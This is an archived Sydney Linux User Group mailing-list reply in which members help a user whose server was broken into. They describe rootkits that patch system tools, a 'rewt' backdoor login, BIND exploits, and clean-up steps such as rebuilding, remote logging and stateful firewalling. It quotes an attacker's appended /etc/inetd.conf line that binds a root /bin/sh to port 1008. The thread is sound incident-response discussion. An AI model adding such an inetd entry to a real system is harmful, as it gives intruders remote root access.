Rebecca Richards was once rumoured to have said:
> Hi Everyone,
Hey There!
>> From: Umar Goldeli <[EMAIL PROTECTED]>
>> To: Sean Carmody <[EMAIL PROTECTED]>
>> Subject: Re: [SLUG] Security Breach
>>
>>> Feb 28 01:53:07 emu portmap[12152]: connect from 202.157.133.184 to
>>> getport(status): request from unauthorized host
>>
>> Why are you rnning the portmapper? Turn it off if youdon't specifically
>> need it.
>
> I would agree with you on this one. RPC services is a favourite for script-
> kiddies, and buffer overflows will often give remote root access.
>
>> a "netstat -an | grep LISTEN" will show you "evilthings(tm)" ;)
>
> Not necessarily. Some rootkits have nobbled the "netstat", "ps" and other
> system binaries, so that they don't show up suspicious processes/listening
> ports/logged in users.
This is a common trick with the average rootkit. Other things that
are somtimes affected include ls, login, and a few other vital
programs. And don't count on strings showing you such changes - some
people handle this most subtlely.
The root kits that were used against named on ix86/linux against the
ANU in '98 had a login replacement which had a backdoor account
"rewt". Of course, strings wouldn't show up "rewt" in the binary.
Other fun tricks included traffic sniffing to get plaintext passwords,
which were stored in a directory named "~/. ". ls was patched not to
show this directory, ps tools and netstat were patched not to show the
sniffer, and inetd was also replaced with a buggy version that died
when you HUP'd it! [I got hired to clean up and maintain the OS lab
after the attacks]
>> Remember - root access is generally the *eventual* goal... just because he
>> got in as userx, doesn't mean he has root, or even a shell for that
>> matter.
>
> Yes, it is the eventual goal, but on some occasions, they get it
> first up. If anyone has managed to get access illegally, you _MUST_
> assume that they have root access. There is no way you can assume
> that they got in as a normal user, and managed to find a way to
> access privileged information.
Basic rule: Assume your attacker knows what he's doing, that way the
idiots don't come close.
>> From: Simon Bowden <[EMAIL PROTECTED]>
>> Subject: Re: [SLUG] Security Breach
>
>> I think this is because somewhere in teh process of getting in,
>> they broke my local named (i wasnt working in the morning) - that or
>> somewhere upstream someone hurt DNS - I was getting a lot of "Lame
>> server
>
> Sounds like they are using BIND exploits.
Given that the ANU attack was through a vunerable named, and that
named has always been a popular target, its hardly surprising.
If you want to keep ahead of these things, you want to be on CERT
lists, and you want to keep an eye on news sites which are likely to
make noise over such holes. IIRC, /. made a significant amount of
noise over the recent bind exploits.
>> The ISP I was on was Telstra bigpond - if its the same, maybe they were
>> scanning that range of addresses.
>
> Bigpond what? Cable, ADSL, dial-up?
>
> Suspiciously, this afternoon their ADSL service went on the blink. I wonder
> whether that outage is connected or not...
I doubt it. Telstra just seems to be very good at screwing up. Never
mind that the network is already overprovisioned.
Fortunately the network just came back online.
>> The other change I found was the following entry on the end of
>> /etc/inetd.conf:
>> 1008 stream tcp nowait root /bin/sh sh
This is a definate sign that you've been compromised quite seriously.
>>
>> which you may want to check for and remove/comment.
>
> I would remove it - in fact a rebuild should be the only option at
> this point, as you can't be sure of anything on the system anymore.
Definately.
>> The fact taht they edited /etc/inetd.conf and cat-d shadow indicates root
>> priveleges. However, there doesnt seem to be any evidence of things inside
>> or other changes, so possibly a buffer of exploit type deal?
>
> And you expect them to give you any clues? You should assume that
> they broke in, and removed most traces of the hack. A casual
> inspection would most likely not show anything to be amiss.
This is another arugment for remote logging in conjunction with local
logging - if your logs are being echoed to a second machine, they need
to break into both machines to remove evidence. Packet/Firewall logs
are excellent evidence of such attacks.
> However, if you have Tripwire or something similar, you can determine which
> files have been changed.
Only if you have tripware status logs on live RO media, or backed up
somewhere safe.
Same applies for rpm's verify features.
> Another thing to consider is to use IP Chains or IP Tables or something to
> provide some form of defense against portscans and stuff. It's not going to
> stop them cold, but it can help slow them down.
ipchains wouldn't help much - ipchains is stateless, and you need to
leave services that you want accessible wide open. Also, you can't
really defend UDP that much.
iptables, OTOH, is stateful, and you can do all sorts of really nifty
things like rate limiting SYN's to block high-speed port scans and syn
floods.
C.
--
--==============================================--
Crossfire | This email was brought to you
[EMAIL PROTECTED] | on 100% Recycled Electrons
--==============================================--
--
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://slug.org.au/lists/listinfo/slug
